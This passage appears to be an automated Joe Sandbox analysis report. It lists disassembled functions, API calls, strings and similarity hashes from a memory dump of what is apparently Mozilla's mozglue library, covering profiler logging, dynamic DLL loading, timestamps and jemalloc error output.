Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C58D9F0,00000000), ref: 6C560F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C560F3C
__Init_thread_footer.LIBCMT ref: 6C560F50
FreeLibrary.KERNEL32(?,6C58D9F0,00000000), ref: 6C560F86

Strings

combase.dll, xrefs: 6C560F18
CoInitializeEx, xrefs: 6C560F36

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 20d55db1e94c14cb8b5eae354c01d83f3b68d084a608f96444e467ae1f99f075
Instruction ID: 81e143e220f377d6a36a4726c8ee807fababdee9aa54dddd8e1aa4d00b209876
Opcode Fuzzy Hash: 20d55db1e94c14cb8b5eae354c01d83f3b68d084a608f96444e467ae1f99f075
Instruction Fuzzy Hash: 4911AC743113419BDF00DF69CD08A5EB7B5EB8B326F02472AE90592B82DB70B805CA5D

Function 6C59F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59F561

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

GetCurrentThreadId.KERNEL32 ref: 6C59F577
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F585
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C59F5A3

Strings

[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C59F56A
[I %d/%d] profiler_resume_sampling, xrefs: 6C59F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C59F3A8
[I %d/%d] profiler_resume, xrefs: 6C59F239

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 900fb83a248f4620d0acfcfad3e43511ce74f82609a699f6047777bd20dce03d
Instruction ID: 24539e365b59b18fa3f2a28309ce2d113ff7dfa693941d10de35027d593138e2
Opcode Fuzzy Hash: 900fb83a248f4620d0acfcfad3e43511ce74f82609a699f6047777bd20dce03d
Instruction Fuzzy Hash: D5F0B475200345DFDA007F699C48A5A77BEFBC625EF060155FA0983702DF35AC00876D

Function 6C560E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C560DF8), ref: 6C560E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C560EA1
__Init_thread_footer.LIBCMT ref: 6C560EB5
FreeLibrary.KERNEL32 ref: 6C560EC5

Strings

kernel32.dll, xrefs: 6C560E7D
GetProcessMitigationPolicy, xrefs: 6C560E9B

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 82607cd2c2874624d80a52805ec440e18e17668cce29bd4b7e2c599bf4b593c4
Instruction ID: 80ced4610b50a26cc08482ee1b2e5fff5e06d8eb33c6c67427b5c997661f9841
Opcode Fuzzy Hash: 82607cd2c2874624d80a52805ec440e18e17668cce29bd4b7e2c599bf4b593c4
Instruction Fuzzy Hash: 12012874700392CBDE009FA9CD14A8233B6E786715F124626D90182F90DB74B8488A8E

Function 6C59F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C59F598), ref: 6C59F621

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

GetCurrentThreadId.KERNEL32 ref: 6C59F637
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000,?,6C59F598), ref: 6C59F645
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8,?,?,00000000,?,6C59F598), ref: 6C59F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C59F62A

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: d9b5f675e7300d8cbc5d522a543226c4efbe4851b5b5568d5369d0929c91553c
Instruction ID: c5d2a93e144ddd96194b91acc3c9a312b5a9248e6dee80d15551e57c338aa5c2
Opcode Fuzzy Hash: d9b5f675e7300d8cbc5d522a543226c4efbe4851b5b5568d5369d0929c91553c
Instruction Fuzzy Hash: 51F0B475200345EFDE007B68CC48A5A777EFBC625EF060155FA0983701DB766C01876D

Function 6C5905F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C58CFAE,?,?,?,6C5531A7), ref: 6C5905FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C58CFAE,?,?,?,6C5531A7), ref: 6C590616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C5531A7), ref: 6C59061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C5531A7), ref: 6C590627

Strings

<jemalloc>, xrefs: 6C5905FA, 6C59060F
: (malloc) Error in VirtualFree(), xrefs: 6C59061B, 6C590625

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: a2339410b0e0282adafe92224de1a1d33bfe91c8b506429cee5323c728e3908d
Instruction ID: 456704e5a5093136b2a975ed97f9613111bbe6aa7c622313ab5a65497648a45c
Opcode Fuzzy Hash: a2339410b0e0282adafe92224de1a1d33bfe91c8b506429cee5323c728e3908d
Instruction Fuzzy Hash: BFE08CE2A0111037F514229ABC86DBB761DDBC6534F080039FE0D82341EA4ABD1A51FB

Function 6C5605F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef22dde1784b6ec97d31f8121dd7ca98876b12c77ab7bd435009ded7c7fa7bc2
Instruction ID: 277256c8ba1064b4e9900335f3c83959576a6718c5e6bd394e8c829586665efb
Opcode Fuzzy Hash: ef22dde1784b6ec97d31f8121dd7ca98876b12c77ab7bd435009ded7c7fa7bc2
Instruction Fuzzy Hash: B2A138B0A01745CFDB14CF29C994A9AFBF1BF89304F44866AD44A97B10E770BA85CF94

Function 6C5B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5B14E2
GetCurrentThreadId.KERNEL32 ref: 6C5B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C5B15BA
free.MOZGLUE(?), ref: 6C5B16B4

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 2cc96c721cb6f0080f48ca8d3388eb69ecec75b0a5d26629d4b8972b3ff75a98
Instruction ID: 916433b2d63265641677d793e0c42e0674c16c1ebc7be5f84c6d8a12432a2065
Opcode Fuzzy Hash: 2cc96c721cb6f0080f48ca8d3388eb69ecec75b0a5d26629d4b8972b3ff75a98
Instruction Fuzzy Hash: 8761CD71A00700DBDB118F61CC90B9EBBB5BF89308F45851CED8A67641EB30E959CB95

Function 6C5A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A9FDB
free.MOZGLUE(?,?), ref: 6C5A9FF0
free.MOZGLUE(?,?), ref: 6C5AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5AA0BE
free.MOZGLUE(?,?), ref: 6C5AA0D5
free.MOZGLUE(?,?), ref: 6C5AA0EB

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: b49406987bcdcd6320902288aea77118a5231c3449c1e7eaf9caaad2d8fc62b5
Instruction ID: db2ca6a9840b6b079d633b79d94b59a743991dcc68b063d79ee30f91d380800b
Opcode Fuzzy Hash: b49406987bcdcd6320902288aea77118a5231c3449c1e7eaf9caaad2d8fc62b5
Instruction Fuzzy Hash: FB61AF75408641DFC711CF59C88055AB3F5FFC8328F548659EC999B602EB32E986CBD1

Function 6C5ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5AD38A,?), ref: 6C5ADC6F
free.MOZGLUE(?,?,?,?,?,6C5AD38A,?), ref: 6C5ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5AD38A,?), ref: 6C5ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5AD38A,?), ref: 6C5ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5AD38A,?), ref: 6C5ADD4A

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: d445dde5904d4cb260a940f8fe75a5c5e0263f8b4b781aad5ada810068a7f6a3
Instruction ID: 6abec99261fda1b03488a614121e9a76ec5448789e5a86a6bfdcc97623e90b78
Opcode Fuzzy Hash: d445dde5904d4cb260a940f8fe75a5c5e0263f8b4b781aad5ada810068a7f6a3
Instruction Fuzzy Hash: AA4147B5A00605DFCB00DF9AC884A9EB7B6FF88314B654569DD45ABB11D731FC41CB90

Function 6C5AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5AC842

Part of subcall function 6C5ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C5CB5EB,00000000), ref: 6C5ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C5AC863
std::_Facet_Register.LIBCPMT ref: 6C5AC875

Part of subcall function 6C58B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C5CB636,?), ref: 6C58B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AC8BC

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 710e7888fe22487eee7a33a1458073ab4a6c725db3c29d035cc2ff9b4db9d5f7
Instruction ID: c77659c18e4aaf078c9bd5100a27a8adc3e0b70fd8e09741db6e838c763bcc4b
Opcode Fuzzy Hash: 710e7888fe22487eee7a33a1458073ab4a6c725db3c29d035cc2ff9b4db9d5f7
Instruction Fuzzy Hash: F1116375B003099BCB04FFA5CC859AE7B75FF89355B110129E50697341DB31BD05CB99

Function 6C58F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C58F480

Part of subcall function 6C55F100: LoadLibraryW.KERNEL32(shell32,?,6C5CD020), ref: 6C55F122
Part of subcall function 6C55F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C55F132

CloseHandle.KERNEL32(00000000), ref: 6C58F555

Part of subcall function 6C5614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C561248,6C561248,?), ref: 6C5614C9
Part of subcall function 6C5614B0: memcpy.VCRUNTIME140(?,6C561248,00000000,?,6C561248,?), ref: 6C5614EF

Part of subcall function 6C55EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C55EEE3

CreateFileW.KERNEL32 ref: 6C58F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C58F523

Strings

\oleacc.dll, xrefs: 6C58F4CB

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: cc2c91407dfb115ec71bf50baae2fbfd30e16622f629dff97f8a36cc34bf4fbe
Instruction ID: 593cd01af10d166aca9341a1eea2dfa87ebcf97445d41f16a8fbae75deebd56b
Opcode Fuzzy Hash: cc2c91407dfb115ec71bf50baae2fbfd30e16622f629dff97f8a36cc34bf4fbe
Instruction Fuzzy Hash: 0C4191306097209FE720DF69DC84A9BB7F4AF88318F500B1CE59193691EB70E9498B96

Function 6C59E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C59E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C59E04F

Part of subcall function 6C5994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5994EE
Part of subcall function 6C5994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C599508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C59E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C59E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C59E057

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: df40990647dff8df568b9d9357c71756dd3de9aa6bffa75051493b3fcf8b48ea
Instruction ID: ce8e1ab63b5ffc6b1bd2492dbae59147b4f1e8b9a85fc681d0e30d75ea069854
Opcode Fuzzy Hash: df40990647dff8df568b9d9357c71756dd3de9aa6bffa75051493b3fcf8b48ea
Instruction Fuzzy Hash: F121CF74B012488FDF00EF64DC58AAEBBB9BF85308F150468E90A97740DB71AD09C7E6

Function 6C5B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C5B7526
__Init_thread_footer.LIBCMT ref: 6C5B7566
__Init_thread_footer.LIBCMT ref: 6C5B7597

Strings

kernel32.dll, xrefs: 6C5B7557
UnmapViewOfFile2, xrefs: 6C5B7552

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 36881241e01e90e881f249478c28a1d26d2af1511b5fe404f15fc8023b203993
Instruction ID: c2285e0436981d155c918e5a46211f80797184db2f74c902a36ed924dea3077b
Opcode Fuzzy Hash: 36881241e01e90e881f249478c28a1d26d2af1511b5fe404f15fc8023b203993
Instruction Fuzzy Hash: 06210731701701D7CA14CFE8CC64EDD7BB6EB867A5F164629E405A7B80DB31B90186AE

Function 6C5BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5DF770,-00000001,?,6C5CE330,?,6C57BDF7), ref: 6C5BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C57BDF7), ref: 6C5BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C57BDF7), ref: 6C5BA7E4
LeaveCriticalSection.KERNEL32(6C5DF770), ref: 6C5BA80A

Strings

accelerator.dll, xrefs: 6C5BA7BF

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 3da2eccaed01a4233408d085d8703d595351bf58046756aca8622f81f7c2c73c
Instruction ID: 747b0623e1e7f0adb6fe9b958aa381662682183a211f0db6f1dd8aa6ab0401aa
Opcode Fuzzy Hash: 3da2eccaed01a4233408d085d8703d595351bf58046756aca8622f81f7c2c73c
Instruction Fuzzy Hash: 5601ADB07043049FDF08DF9ADC94C917BB8FB8A315706816AE8098B712DB70BC00CBA9

Function 6C5B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C5B748B,?), ref: 6C5B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5B75D7
FreeLibrary.KERNEL32(?,6C5B748B,?), ref: 6C5B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C5B75D1
ntdll.dll, xrefs: 6C5B75B3

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
